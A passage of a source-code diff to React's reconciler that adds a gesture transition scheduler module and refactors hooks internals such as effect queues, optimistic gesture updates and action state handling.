+  PassiveStatic |
+  RefStatic |
+  MaySuspendCommit |
+  ViewTransitionStatic |
+  ViewTransitionNamedStatic |
+  PortalStatic |
+  Forked;
diff --git a/packages/react-reconciler/src/ReactFiberGestureScheduler.js b/packages/react-reconciler/src/ReactFiberGestureScheduler.js
new file mode 100644
index 000000000000..373e8167cab7
--- /dev/null
+++ b/packages/react-reconciler/src/ReactFiberGestureScheduler.js
@@ -0,0 +1,257 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @flow
+ */
+
+import type {FiberRoot} from './ReactInternalTypes';
+import type {GestureOptions} from 'shared/ReactTypes';
+import type {GestureTimeline, RunningViewTransition} from './ReactFiberConfig';
+import type {TransitionTypes} from 'react/src/ReactTransitionType';
+import type {Lane} from './ReactFiberLane';
+
+import {
+  GestureLane,
+  markRootEntangled,
+  markRootFinished,
+  NoLane,
+  NoLanes,
+} from './ReactFiberLane';
+import {
+  ensureRootIsScheduled,
+  requestTransitionLane,
+} from './ReactFiberRootScheduler';
+import {getCurrentGestureOffset, stopViewTransition} from './ReactFiberConfig';
+import {pingGestureRoot, restartGestureRoot} from './ReactFiberWorkLoop';
+
+// This type keeps track of any scheduled or active gestures.
+export type ScheduledGesture = {
+  provider: GestureTimeline,
+  count: number, // The number of times this same provider has been started.
+  rangeStart: number, // The percentage along the timeline where the "current" state starts.
+  rangeEnd: number, // The percentage along the timeline where the "destination" state is reached.
+  types: null | TransitionTypes, // Any addTransitionType call made during startGestureTransition.
+  running: null | RunningViewTransition, // Used to cancel the running transition after we're done.
+  commit: null | (() => void), // Callback to run to commit if there's a pending commit.
+  committing: boolean, // If the gesture was released in a committed state and should actually commit.
+  revertLane: Lane, // The Lane that we'll use to schedule the revert.
+  prev: null | ScheduledGesture, // The previous scheduled gesture in the queue for this root.
+  next: null | ScheduledGesture, // The next scheduled gesture in the queue for this root.
+};
+
+export function scheduleGesture(
+  root: FiberRoot,
+  provider: GestureTimeline,
+): ScheduledGesture {
+  let prev = root.pendingGestures;
+  while (prev !== null) {
+    if (prev.provider === provider) {
+      // Existing instance found.
+      return prev;
+    }
+    const next = prev.next;
+    if (next === null) {
+      break;
+    }
+    prev = next;
+  }
+  const gesture: ScheduledGesture = {
+    provider: provider,
+    count: 0,
+    rangeStart: 0, // Uninitialized
+    rangeEnd: 100, // Uninitialized
+    types: null,
+    running: null,
+    commit: null,
+    committing: false,
+    revertLane: NoLane, // Starts uninitialized.
+    prev: prev,
+    next: null,
+  };
+  if (prev === null) {
+    root.pendingGestures = gesture;
+  } else {
+    prev.next = gesture;
+  }
+  ensureRootIsScheduled(root);
+  return gesture;
+}
+
+export function startScheduledGesture(
+  root: FiberRoot,
+  gestureTimeline: GestureTimeline,
+  gestureOptions: ?GestureOptions,
+  transitionTypes: null | TransitionTypes,
+): null | ScheduledGesture {
+  const rangeStart =
+    gestureOptions && gestureOptions.rangeStart != null
+      ? gestureOptions.rangeStart
+      : getCurrentGestureOffset(gestureTimeline);
+  const rangeEnd =
+    gestureOptions && gestureOptions.rangeEnd != null
+      ? gestureOptions.rangeEnd
+      : rangeStart < 50
+        ? 100
+        : 0;
+  let prev = root.pendingGestures;
+  while (prev !== null) {
+    if (prev.provider === gestureTimeline) {
+      // Existing instance found.
+      prev.count++;
+      // Update the options.
+      prev.rangeStart = rangeStart;
+      prev.rangeEnd = rangeEnd;
+      if (transitionTypes !== null) {
+        let scheduledTypes = prev.types;
+        if (scheduledTypes === null) {
+          scheduledTypes = prev.types = [];
+        }
+        for (let i = 0; i < transitionTypes.length; i++) {
+          const transitionType = transitionTypes[i];
+          if (scheduledTypes.indexOf(transitionType) === -1) {
+            scheduledTypes.push(transitionType);
+          }
+        }
+      }
+      return prev;
+    }
+    const next = prev.next;
+    if (next === null) {
+      break;
+    }
+    prev = next;
+  }
+  // No scheduled gestures. It must mean nothing for this renderer updated but
+  // some other renderer might have updated.
+  return null;
+}
+
+export function cancelScheduledGesture(
+  root: FiberRoot,
+  gesture: ScheduledGesture,
+): void {
+  // Entangle any Transitions started in this event with the revertLane of the gesture
+  // so that we commit them all together.
+  if (gesture.revertLane !== NoLane) {
+    const entangledLanes = gesture.revertLane | requestTransitionLane(null);
+    markRootEntangled(root, entangledLanes);
+  }
+
+  gesture.count--;
+  if (gesture.count === 0) {
+    // If the end state is closer to the end than the beginning then we commit into the
+    // end state before reverting back (or applying a new Transition).
+    // Otherwise we just revert back and don't commit.
+    let shouldCommit: boolean;
+    const finalOffset = getCurrentGestureOffset(gesture.provider);
+    const rangeStart = gesture.rangeStart;
+    const rangeEnd = gesture.rangeEnd;
+    if (rangeStart < rangeEnd) {
+      shouldCommit = finalOffset > rangeStart + (rangeEnd - rangeStart) / 2;
+    } else {
+      shouldCommit = finalOffset < rangeEnd + (rangeStart - rangeEnd) / 2;
+    }
+    // TODO: If we're currently rendering this gesture, we need to restart the render
+    // on a different gesture or cancel the render..
+    // TODO: We might want to pause the View Transition at this point since you should
+    // no longer be able to update the position of anything but it might be better to
+    // just commit the gesture state.
+    const runningTransition = gesture.running;
+    if (runningTransition !== null && shouldCommit) {
+      // If we are going to commit this gesture in its to state, we need to wait to
+      // stop it until it commits. We should now schedule a render at the gesture
+      // lane to actually commit it.
+      gesture.committing = true;
+      if (root.pendingGestures === gesture) {
+        const commitCallback = gesture.commit;
+        if (commitCallback !== null) {
+          gesture.commit = null;
+          // If we already have a commit prepared we can immediately commit the tree
+          // without rerendering.
+          // TODO: Consider scheduling this in a task instead of synchronously inside the last cancellation.s
+          commitCallback();
+        } else {
+          // Ping the root given the new state. This is similar to pingSuspendedRoot.
+          pingGestureRoot(root);
+        }
+      }
+    } else {
+      // If we're not going to commit this gesture we can stop the View Transition
+      // right away and delete the scheduled gesture from the pending queue.
+      if (gesture.prev === null) {
+        if (root.pendingGestures === gesture) {
+          // This was the currently rendering gesture.
+          root.pendingGestures = gesture.next;
+          let remainingLanes = root.pendingLanes;
+          if (root.pendingGestures === null) {
+            // Gestures don't clear their lanes while the gesture is still active but it
+            // might not be scheduled to do any more renders and so we shouldn't schedule
+            // any more gesture lane work until a new gesture is scheduled.
+            remainingLanes &= ~GestureLane;
+          }
+          markRootFinished(
+            root,
+            GestureLane,
+            remainingLanes,
+            NoLane,
+            NoLane,
+            NoLanes,
+          );
+          // If we had a currently rendering gesture we need to now reset the gesture lane to
+          // now render the next gesture or cancel if there's no more gestures in the queue.
+          restartGestureRoot(root);
+        }
+        gesture.running = null;
+        if (runningTransition !== null) {
+          stopViewTransition(runningTransition);
+        }
+      } else {
+        // This was not the current gesture so it doesn't affect the current render.
+        gesture.prev.next = gesture.next;
+        if (gesture.next !== null) {
+          gesture.next.prev = gesture.prev;
+        }
+        gesture.prev = null;
+        gesture.next = null;
+      }
+    }
+  }
+}
+
+export function stopCommittedGesture(root: FiberRoot) {
+  // The top was just committed. We can delete it from the queue
+  // and stop its View Transition now.
+  const committedGesture = root.pendingGestures;
+  if (committedGesture !== null) {
+    // Mark it as no longer committing and should no longer be included in rerenders.
+    committedGesture.committing = false;
+    const nextGesture = committedGesture.next;
+    if (nextGesture === null) {
+      // Gestures don't clear their lanes while the gesture is still active but it
+      // might not be scheduled to do any more renders and so we shouldn't schedule
+      // any more gesture lane work until a new gesture is scheduled.
+      root.pendingLanes &= ~GestureLane;
+    } else {
+      nextGesture.prev = null;
+    }
+    root.pendingGestures = nextGesture;
+    const runningTransition = committedGesture.running;
+    if (runningTransition !== null) {
+      committedGesture.running = null;
+      stopViewTransition(runningTransition);
+    }
+  }
+}
+
+export function scheduleGestureCommit(
+  gesture: ScheduledGesture,
+  callback: () => void,
+): () => void {
+  gesture.commit = callback;
+  return function () {
+    gesture.commit = null;
+  };
+}
diff --git a/packages/react-reconciler/src/ReactFiberHooks.js b/packages/react-reconciler/src/ReactFiberHooks.js
index f19f40a17516..29c83c7d7263 100644
--- a/packages/react-reconciler/src/ReactFiberHooks.js
+++ b/packages/react-reconciler/src/ReactFiberHooks.js
@@ -26,27 +26,23 @@ import type {Lanes, Lane} from './ReactFiberLane';
 import type {HookFlags} from './ReactHookEffectTags';
 import type {Flags} from './ReactFiberFlags';
 import type {TransitionStatus} from './ReactFiberConfig';
+import type {ScheduledGesture} from './ReactFiberGestureScheduler';
 
 import {
+  HostTransitionContext,
   NotPendingTransition as NoPendingHostTransition,
   setCurrentUpdatePriority,
   getCurrentUpdatePriority,
 } from './ReactFiberConfig';
 import ReactSharedInternals from 'shared/ReactSharedInternals';
 import {
-  enableDebugTracing,
   enableSchedulingProfiler,
-  enableCache,
-  enableLazyContextPropagation,
   enableTransitionTracing,
-  enableUseMemoCacheHook,
-  enableUseEffectEventHook,
   enableLegacyCache,
-  debugRenderPhaseSideEffectsForStrictMode,
-  enableAsyncActions,
-  enableUseDeferredValueInitialArg,
   disableLegacyMode,
   enableNoCloningMemoCache,
+  enableViewTransition,
+  enableGestureTransition,
 } from 'shared/ReactFeatureFlags';
 import {
   REACT_CONTEXT_TYPE,
@@ -56,10 +52,8 @@ import {
 import {
   NoMode,
   ConcurrentMode,
-  DebugTracingMode,
   StrictEffectsMode,
   StrictLegacyMode,
-  NoStrictPassiveEffectsMode,
 } from './ReactTypeOfMode';
 import {
   NoLane,
@@ -76,6 +70,9 @@ import {
   isTransitionLane,
   markRootEntangled,
   includesSomeLane,
+  isGestureRender,
+  GestureLane,
+  UpdateLanes,
 } from './ReactFiberLane';
 import {
   ContinuousEventPriority,
@@ -121,11 +118,14 @@ import {
   getIsHydrating,
   tryToClaimNextHydratableFormMarkerInstance,
 } from './ReactFiberHydrationContext';
-import {logStateUpdateScheduled} from './DebugTracing';
 import {
   markStateUpdateScheduled,
   setIsStrictModeForDevtools,
 } from './ReactFiberDevToolsHook';
+import {
+  startUpdateTimerByLane,
+  startHostActionTimer,
+} from './ReactProfilerTimer';
 import {createCache} from './ReactFiberCacheComponent';
 import {
   createUpdate as createLegacyQueueUpdate,
@@ -143,21 +143,24 @@ import {
   trackUsedThenable,
   checkIfUseWrappedInTryCatch,
   createThenableState,
+  SuspenseException,
+  SuspenseActionException,
 } from './ReactFiberThenable';
 import type {ThenableState} from './ReactFiberThenable';
-import type {BatchConfigTransition} from './ReactFiberTracingMarkerComponent';
+import type {Transition} from 'react/src/ReactStartTransition';
 import {
   peekEntangledActionLane,
   peekEntangledActionThenable,
   chainThenableValue,
 } from './ReactFiberAsyncAction';
-import {HostTransitionContext} from './ReactFiberHostContext';
 import {requestTransitionLane} from './ReactFiberRootScheduler';
 import {isCurrentTreeHidden} from './ReactFiberHiddenContext';
 import {requestCurrentTransition} from './ReactFiberTransition';
 
 import {callComponentInDEV} from './ReactFiberCallUserSpace';
 
+import {scheduleGesture} from './ReactFiberGestureScheduler';
+
 export type Update<S, A> = {
   lane: Lane,
   revertLane: Lane,
@@ -165,6 +168,7 @@ export type Update<S, A> = {
   hasEagerState: boolean,
   eagerState: S | null,
   next: Update<S, A>,
+  gesture: null | ScheduledGesture, // enableGestureTransition
 };
 
 export type UpdateQueue<S, A> = {
@@ -215,9 +219,9 @@ type EffectInstance = {
 
 export type Effect = {
   tag: HookFlags,
-  create: () => (() => void) | void,
   inst: EffectInstance,
-  deps: Array<mixed> | null,
+  create: () => (() => void) | void,
+  deps: Array<mixed> | void | null,
   next: Effect,
 };
 
@@ -243,8 +247,7 @@ export type FunctionComponentUpdateQueue = {
   lastEffect: Effect | null,
   events: Array<EventFunctionPayload<any, any, any>> | null,
   stores: Array<StoreConsistencyCheck<any>> | null,
-  // NOTE: optional, only set when enableUseMemoCacheHook is enabled
-  memoCache?: MemoCache | null,
+  memoCache: MemoCache | null,
 };
 
 type BasicStateAction<S> = (S => S) | S;
@@ -423,10 +426,13 @@ function warnIfAsyncClientComponent(Component: Function) {
       if (!didWarnAboutAsyncClientComponent.has(componentName)) {
         didWarnAboutAsyncClientComponent.add(componentName);
         console.error(
-          'async/await is not yet supported in Client Components, only ' +
-            'Server Components. This error is often caused by accidentally ' +
+          '%s is an async Client Component. ' +
+            'Only Server Components can be async at the moment. This error is often caused by accidentally ' +
             "adding `'use client'` to a module that was originally written " +
             'for the server.',
+          componentName === null
+            ? 'An unknown Component'
+            : `<${componentName}>`,
         );
       }
     }
@@ -584,9 +590,7 @@ export function renderWithHooks<Props, SecondArg>(
   //
   // There are plenty of tests to ensure this behavior is correct.
   const shouldDoubleRenderDEV =
-    __DEV__ &&
-    debugRenderPhaseSideEffectsForStrictMode &&
-    (workInProgress.mode & StrictLegacyMode) !== NoMode;
+    __DEV__ && (workInProgress.mode & StrictLegacyMode) !== NoMode;
 
   shouldDoubleInvokeUserFnsInHooksDEV = shouldDoubleRenderDEV;
   let children = __DEV__
@@ -633,6 +637,18 @@ function finishRenderingHooks<Props, SecondArg>(
 ): void {
   if (__DEV__) {
     workInProgress._debugHookTypes = hookTypesDev;
+    // Stash the thenable state for use by DevTools.
+    if (workInProgress.dependencies === null) {
+      if (thenableState !== null) {
+        workInProgress.dependencies = {
+          lanes: NoLanes,
+          firstContext: null,
+          _debugThenableState: thenableState,
+        };
+      }
+    } else {
+      workInProgress.dependencies._debugThenableState = thenableState;
+    }
   }
 
   // We can assume the previous dispatcher is always this one, since we set it
@@ -691,23 +707,21 @@ function finishRenderingHooks<Props, SecondArg>(
     );
   }
 
-  if (enableLazyContextPropagation) {
-    if (current !== null) {
-      if (!checkIfWorkInProgressReceivedUpdate()) {
-        // If there were no changes to props or state, we need to check if there
-        // was a context change. We didn't already do this because there's no
-        // 1:1 correspondence between dependencies and hooks. Although, because
-        // there almost always is in the common case (`readContext` is an
-        // internal API), we could compare in there. OTOH, we only hit this case
-        // if everything else bails out, so on the whole it might be better to
-        // keep the comparison out of the common path.
-        const currentDependencies = current.dependencies;
-        if (
-          currentDependencies !== null &&
-          checkIfContextChanged(currentDependencies)
-        ) {
-          markWorkInProgressReceivedUpdate();
-        }
+  if (current !== null) {
+    if (!checkIfWorkInProgressReceivedUpdate()) {
+      // If there were no changes to props or state, we need to check if there
+      // was a context change. We didn't already do this because there's no
+      // 1:1 correspondence between dependencies and hooks. Although, because
+      // there almost always is in the common case (`readContext` is an
+      // internal API), we could compare in there. OTOH, we only hit this case
+      // if everything else bails out, so on the whole it might be better to
+      // keep the comparison out of the common path.
+      const currentDependencies = current.dependencies;
+      if (
+        currentDependencies !== null &&
+        checkIfContextChanged(currentDependencies)
+      ) {
+        markWorkInProgressReceivedUpdate();
       }
     }
   }
@@ -754,6 +768,12 @@ export function replaySuspendedComponentWithHooks<Props, SecondArg>(
     ignorePreviousDependencies =
       current !== null && current.type !== workInProgress.type;
   }
+  // renderWithHooks only resets the updateQueue but does not clear it, since
+  // it needs to work for both this case (suspense replay) as well as for double
+  // renders in dev and setState-in-render. However, for the suspense replay case
+  // we need to reset the updateQueue to correctly handle unmount effects, so we
+  // clear the queue here
+  workInProgress.updateQueue = null;
   const children = renderWithHooksAgain(
     workInProgress,
     Component,
@@ -812,7 +832,9 @@ function renderWithHooksAgain<Props, SecondArg>(
     currentHook = null;
     workInProgressHook = null;
 
-    workInProgress.updateQueue = null;
+    if (workInProgress.updateQueue != null) {
+      resetFunctionComponentUpdateQueue((workInProgress.updateQueue: any));
+    }
 
     if (__DEV__) {
       // Also validate hook order for cascading updates.
@@ -835,9 +857,6 @@ export function renderTransitionAwareHostComponentWithHooks(
   workInProgress: Fiber,
   lanes: Lanes,
 ): TransitionStatus {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  }
   return renderWithHooks(
     current,
     workInProgress,
@@ -849,10 +868,6 @@ export function renderTransitionAwareHostComponentWithHooks(
 }
 
 export function TransitionAwareHostComponent(): TransitionStatus {
-  if (!enableAsyncActions) {
-    throw new Error('Not implemented.');
-  }
-
   const dispatcher: any = ReactSharedInternals.H;
   const [maybeThenable] = dispatcher.useState();
   let nextState;
@@ -1053,28 +1068,29 @@ function updateWorkInProgressHook(): Hook {
   return workInProgressHook;
 }
 
-// NOTE: defining two versions of this function to avoid size impact when this feature is disabled.
-// Previously this function was inlined, the additional `memoCache` property makes it not inlined.
-let createFunctionComponentUpdateQueue: () => FunctionComponentUpdateQueue;
-if (enableUseMemoCacheHook) {
-  createFunctionComponentUpdateQueue = () => {
-    return {
-      lastEffect: null,
-      events: null,
-      stores: null,
-      memoCache: null,
-    };
-  };
-} else {
-  createFunctionComponentUpdateQueue = () => {
-    return {
-      lastEffect: null,
-      events: null,
-      stores: null,
-    };
+function createFunctionComponentUpdateQueue(): FunctionComponentUpdateQueue {
+  return {
+    lastEffect: null,
+    events: null,
+    stores: null,
+    memoCache: null,
   };
 }
 
+function resetFunctionComponentUpdateQueue(
+  updateQueue: FunctionComponentUpdateQueue,
+): void {
+  updateQueue.lastEffect = null;
+  updateQueue.events = null;
+  updateQueue.stores = null;
+  if (updateQueue.memoCache != null) {
+    // NOTE: this function intentionally does not reset memoCache data. We reuse updateQueue for the memo
+    // cache to avoid increasing the size of fibers that don't need a cache, but we don't want to reset
+    // the cache when other properties are reset.
+    updateQueue.memoCache.index = 0;
+  }
+}
+
 function useThenable<T>(thenable: Thenable<T>): T {
   // Track the position of the thenable within this fiber.
   const index = thenableIndexCounter;
@@ -1148,7 +1164,7 @@ function use<T>(usable: Usable<T>): T {
   throw new Error('An unsupported type was passed to use(): ' + String(usable));
 }
 
-function useMemoCache(size: number): Array<any> {
+function useMemoCache(size: number): Array<mixed> {
   let memoCache = null;
   // Fast-path, load memo cache from wip fiber if already prepared
   let updateQueue: FunctionComponentUpdateQueue | null =
@@ -1192,7 +1208,7 @@ function useMemoCache(size: number): Array<any> {
               ? currentMemoCache.data
               : // Clone the memo cache before each render (copy-on-write)
                 currentMemoCache.data.map(array => array.slice()),
-            index: 0,
+            index: 0 as number,
           };
         }
       }
@@ -1202,7 +1218,7 @@ function useMemoCache(size: number): Array<any> {
   if (memoCache == null) {
     memoCache = {
       data: [],
-      index: 0,
+      index: 0 as number,
     };
   }
   if (updateQueue === null) {
@@ -1212,7 +1228,7 @@ function useMemoCache(size: number): Array<any> {
   updateQueue.memoCache = memoCache;
 
   let data = memoCache.data[memoCache.index];
-  if (data === undefined) {
+  if (data === undefined || (__DEV__ && ignorePreviousDependencies)) {
     data = memoCache.data[memoCache.index] = new Array(size);
     for (let i = 0; i < size; i++) {
       data[i] = REACT_MEMO_CACHE_SENTINEL;
@@ -1248,8 +1264,11 @@ function mountReducer<S, I, A>(
     initialState = init(initialArg);
     if (shouldDoubleInvokeUserFnsInHooksDEV) {
       setIsStrictModeForDevtools(true);
-      init(initialArg);
-      setIsStrictModeForDevtools(false);
+      try {
+        init(initialArg);
+      } finally {
+        setIsStrictModeForDevtools(false);
+      }
     }
   } else {
     initialState = ((initialArg: any): S);
@@ -1354,10 +1373,35 @@ function updateReducerImpl<S, A>(
       // Check if this update was made while the tree was hidden. If so, then
       // it's not a "base" update and we should disregard the extra base lanes
       // that were added to renderLanes when we entered the Offscreen tree.
-      const shouldSkipUpdate = isHiddenUpdate
+      let shouldSkipUpdate = isHiddenUpdate
         ? !isSubsetOfLanes(getWorkInProgressRootRenderLanes(), updateLane)
         : !isSubsetOfLanes(renderLanes, updateLane);
 
+      if (enableGestureTransition && updateLane === GestureLane) {
+        // This is a gesture optimistic update. It should only be considered as part of the
+        // rendered state while rendering the gesture lane and if the rendering the associated
+        // ScheduledGesture.
+        const scheduledGesture = update.gesture;
+        if (scheduledGesture !== null) {
+          if (scheduledGesture.count === 0 && !scheduledGesture.committing) {
+            // This gesture has already been cancelled. We can clean up this update.
+            update = update.next;
+            continue;
+          } else if (!isGestureRender(renderLanes)) {
+            shouldSkipUpdate = true;
+          } else {
+            const root: FiberRoot | null = getWorkInProgressRoot();
+            if (root === null) {
+              throw new Error(
+                'Expected a work-in-progress root. This is a bug in React. Please file an issue.',
+              );
+            }
+            // We assume that the currently rendering gesture is the one first in the queue.
+            shouldSkipUpdate = root.pendingGestures !== scheduledGesture;
+          }
+        }
+      }
+
       if (shouldSkipUpdate) {
         // Priority is insufficient. Skip this update. If this is the first
         // skipped update, the previous update/state is the new base
@@ -1365,6 +1409,7 @@ function updateReducerImpl<S, A>(
         const clone: Update<S, A> = {
           lane: updateLane,
           revertLane: update.revertLane,
+          gesture: update.gesture,
           action: update.action,
           hasEagerState: update.hasEagerState,
           eagerState: update.eagerState,
@@ -1389,7 +1434,7 @@ function updateReducerImpl<S, A>(
 
         // Check if this is an optimistic update.
         const revertLane = update.revertLane;
-        if (!enableAsyncActions || revertLane === NoLane) {
+        if (revertLane === NoLane) {
           // This is not an optimistic update, and we're going to apply it now.
           // But, if there were earlier updates that were skipped, we need to
           // leave this update in the queue so it can be rebased later.
@@ -1400,6 +1445,7 @@ function updateReducerImpl<S, A>(
               // this will never be skipped by the check above.
               lane: NoLane,
               revertLane: NoLane,
+              gesture: null,
               action: update.action,
               hasEagerState: update.hasEagerState,
               eagerState: update.eagerState,
@@ -1443,6 +1489,7 @@ function updateReducerImpl<S, A>(
               // Reuse the same revertLane so we know when the transition
               // has finished.
               revertLane: update.revertLane,
+              gesture: null, // If it commits, it's no longer a gesture update.
               action: update.action,
               hasEagerState: update.hasEagerState,
               eagerState: update.eagerState,
@@ -1640,7 +1687,7 @@ function mountSyncExternalStore<T>(
     }
 
     const rootRenderLanes = getWorkInProgressRootRenderLanes();
-    if (!includesBlockingLane(root, rootRenderLanes)) {
+    if (!includesBlockingLane(rootRenderLanes)) {
       pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
     }
   }
@@ -1664,10 +1711,10 @@ function mountSyncExternalStore<T>(
   // directly, without storing any additional state. For the same reason, we
   // don't need to set a static flag, either.
   fiber.flags |= PassiveEffect;
-  pushEffect(
+  pushSimpleEffect(
     HookHasEffect | HookPassive,
-    updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),
     createEffectInstance(),
+    updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),
     null,
   );
 
@@ -1734,10 +1781,10 @@ function updateSyncExternalStore<T>(
       workInProgressHook.memoizedState.tag & HookHasEffect)
   ) {
     fiber.flags |= PassiveEffect;
-    pushEffect(
+    pushSimpleEffect(
       HookHasEffect | HookPassive,
-      updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),
       createEffectInstance(),
+      updateStoreInstance.bind(null, fiber, inst, nextSnapshot, getSnapshot),
       null,
     );
 
@@ -1752,7 +1799,7 @@ function updateSyncExternalStore<T>(
       );
     }
 
-    if (!isHydrating && !includesBlockingLane(root, renderLanes)) {
+    if (!isHydrating && !includesBlockingLane(renderLanes)) {
       pushStoreConsistencyCheck(fiber, getSnapshot, nextSnapshot);
     }
   }
@@ -1802,6 +1849,8 @@ function updateStoreInstance<T>(
   // snapsho and getSnapshot values to bail out. We need to check one more time.
   if (checkIfSnapshotChanged(inst)) {
     // Force a re-render.
+    // We intentionally don't log update times and stacks here because this
+    // was not an external trigger but rather an internal one.
     forceStoreRerender(fiber);
   }
 }
@@ -1816,6 +1865,7 @@ function subscribeToStore<T>(
     // read from the store.
     if (checkIfSnapshotChanged(inst)) {
       // Force a re-render.
+      startUpdateTimerByLane(SyncLane, 'updateSyncExternalStore()', fiber);
       forceStoreRerender(fiber);
     }
   };
@@ -1849,9 +1899,12 @@ function mountStateImpl<S>(initialState: (() => S) | S): Hook {
     initialState = initialStateInitializer();
     if (shouldDoubleInvokeUserFnsInHooksDEV) {
       setIsStrictModeForDevtools(true);
-      // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types
-      initialStateInitializer();
-      setIsStrictModeForDevtools(false);
+      try {
+        // $FlowFixMe[incompatible-use]: Flow doesn't like mixed types
+        initialStateInitializer();
+      } finally {
+        setIsStrictModeForDevtools(false);
+      }
     }
   }
   hook.memoizedState = hook.baseState = initialState;
@@ -2032,7 +2085,7 @@ function dispatchActionState<S, P>(
   payload: P,
 ): void {
   if (isRenderPhaseUpdate(fiber)) {
-    throw new Error('Cannot update form state while rendering.');
+    throw new Error('Cannot update action state while rendering.');
   }
 
   const currentAction = actionQueue.action;
@@ -2111,11 +2164,29 @@ function runActionStateAction<S, P>(
 
     // This is a fork of startTransition
     const prevTransition = ReactSharedInternals.T;
-    const currentTransition: BatchConfigTransition = {};
-    ReactSharedInternals.T = currentTransition;
+    const currentTransition: Transition = ({}: any);
+    if (enableViewTransition) {
+      currentTransition.types =
+        prevTransition !== null
+          ? // If we're a nested transition, we should use the same set as the parent
+            // since we're conceptually always joined into the same entangled transition.
+            // In practice, this only matters if we add transition types in the inner
+            // without setting state. In that case, the inner transition can finish
+            // without waiting for the outer.
+            prevTransition.types
+          : null;
+    }
+    if (enableGestureTransition) {
+      currentTransition.gesture = null;
+    }
+    if (enableTransitionTracing) {
+      currentTransition.name = null;
+      currentTransition.startTime = -1;
+    }
     if (__DEV__) {
-      ReactSharedInternals.T._updatedFibers = new Set();
+      currentTransition._updatedFibers = new Set();
     }
+    ReactSharedInternals.T = currentTransition;
     try {
       const returnValue = action(prevState, payload);
       const onStartTransitionFinish = ReactSharedInternals.S;
@@ -2126,6 +2197,24 @@ function runActionStateAction<S, P>(
     } catch (error) {
       onActionError(actionQueue, node, error);
     } finally {
+      if (prevTransition !== null && currentTransition.types !== null) {
+        // If we created a new types set in the inner transition, we transfer it to the parent
+        // since they should share the same set. They're conceptually entangled.
+        if (__DEV__) {
+          if (
+            prevTransition.types !== null &&
+            prevTransition.types !== currentTransition.types
+          ) {
+            // Just assert that assumption holds that we're not overriding anything.
+            console.error(
+              'We expected inner Transitions to have transferred the outer types set and ' +
+                'that you cannot add to the outer Transition while inside the inner.' +
+                'This is a bug in React.',
+            );
+          }
+        }
+        prevTransition.types = currentTransition.types;
+      }
       ReactSharedInternals.T = prevTransition;
 
       if (__DEV__) {
@@ -2165,6 +2254,11 @@ function handleActionReturnValue<S, P>(
     typeof returnValue.then === 'function'
   ) {
     const thenable = ((returnValue: any): Thenable<Awaited<S>>);
+    if (__DEV__) {
+      // Keep track of the number of async transitions still running so we can warn.
+      ReactSharedInternals.asyncTransitions++;
+      thenable.then(releaseAsyncTransition, releaseAsyncTransition);
+    }
     // Attach a listener to read the return state of the action. As soon as
     // this resolves, we can run the next action in the sequence.
     thenable.then(
@@ -2177,10 +2271,10 @@ function handleActionReturnValue<S, P>(
     if (__DEV__) {
       if (!node.isTransition) {
         console.error(
-          'An async function was passed to useActionState, but it was ' +
-            'dispatched outside of an action context. This is likely not ' +
-            'what you intended. Either pass the dispatch function to an ' +
-            '`action` prop, or dispatch manually inside `startTransition`',
+          'An async function with useActionState was called outside of a transition. ' +
+            'This is likely not what you intended (for example, isPending will not update ' +
+            'correctly). Either call the returned function inside startTransition, or pass it ' +
+            'to an `action` or `formAction` prop.',
         );
       }
     }
@@ -2375,13 +2469,27 @@ function updateActionStateImpl<S, P>(
   const [isPending] = updateState(false);
 
   // This will suspend until the action finishes.
-  const state: Awaited<S> =
+  let state: Awaited<S>;
+  if (
     typeof actionResult === 'object' &&
     actionResult !== null &&
     // $FlowFixMe[method-unbinding]
     typeof actionResult.then === 'function'
-      ? useThenable(((actionResult: any): Thenable<Awaited<S>>))
-      : (actionResult: any);
+  ) {
+    try {
+      state = useThenable(((actionResult: any): Thenable<Awaited<S>>));
+    } catch (x) {
+      if (x === SuspenseException) {
+        // If we Suspend here, mark this separately so that we can track this
+        // as an Action in Profiling tools.
+        throw SuspenseActionException;
+      } else {
+        throw x;
+      }
+    }
+  } else {
+    state = (actionResult: any);
+  }
 
   const actionQueueHook = updateWorkInProgressHook();
   const actionQueue = actionQueueHook.queue;
@@ -2391,10 +2499,10 @@ function updateActionStateImpl<S, P>(
   const prevAction = actionQueueHook.memoizedState;
   if (action !== prevAction) {
     currentlyRenderingFiber.flags |= PassiveEffect;
-    pushEffect(
+    pushSimpleEffect(
       HookHasEffect | HookPassive,
-      actionStateActionEffect.bind(null, actionQueue, action),
       createEffectInstance(),
+      actionStateActionEffect.bind(null, actionQueue, action),
       null,
     );
   }
@@ -2451,36 +2559,38 @@ function rerenderActionState<S, P>(
   return [state, dispatch, false];
 }
 
-function pushEffect(
+function pushSimpleEffect(
   tag: HookFlags,
-  create: () => (() => void) | void,
   inst: EffectInstance,
-  deps: Array<mixed> | null,
+  create: () => (() => void) | void,
+  deps: Array<mixed> | void | null,
 ): Effect {
   const effect: Effect = {
     tag,
     create,
-    inst,
     deps,
+    inst,
     // Circular
     next: (null: any),
   };
+  return pushEffectImpl(effect);
+}
+
+function pushEffectImpl(effect: Effect): Effect {
   let componentUpdateQueue: null | FunctionComponentUpdateQueue =
     (currentlyRenderingFiber.updateQueue: any);
   if (componentUpdateQueue === null) {
     componentUpdateQueue = createFunctionComponentUpdateQueue();
     currentlyRenderingFiber.updateQueue = (componentUpdateQueue: any);
+  }
+  const lastEffect = componentUpdateQueue.lastEffect;
+  if (lastEffect === null) {
     componentUpdateQueue.lastEffect = effect.next = effect;
   } else {
-    const lastEffect = componentUpdateQueue.lastEffect;
-    if (lastEffect === null) {
-      componentUpdateQueue.lastEffect = effect.next = effect;
-    } else {
-      const firstEffect = lastEffect.next;
-      lastEffect.next = effect;
-      effect.next = firstEffect;
-      componentUpdateQueue.lastEffect = effect;
-    }
+    const firstEffect = lastEffect.next;
+    lastEffect.next = effect;
+    effect.next = firstEffect;
+    componentUpdateQueue.lastEffect = effect;
   }
   return effect;
 }
@@ -2510,10 +2620,10 @@ function mountEffectImpl(
   const hook = mountWorkInProgressHook();
   const nextDeps = deps === undefined ? null : deps;
   currentlyRenderingFiber.flags |= fiberFlags;
-  hook.memoizedState = pushEffect(
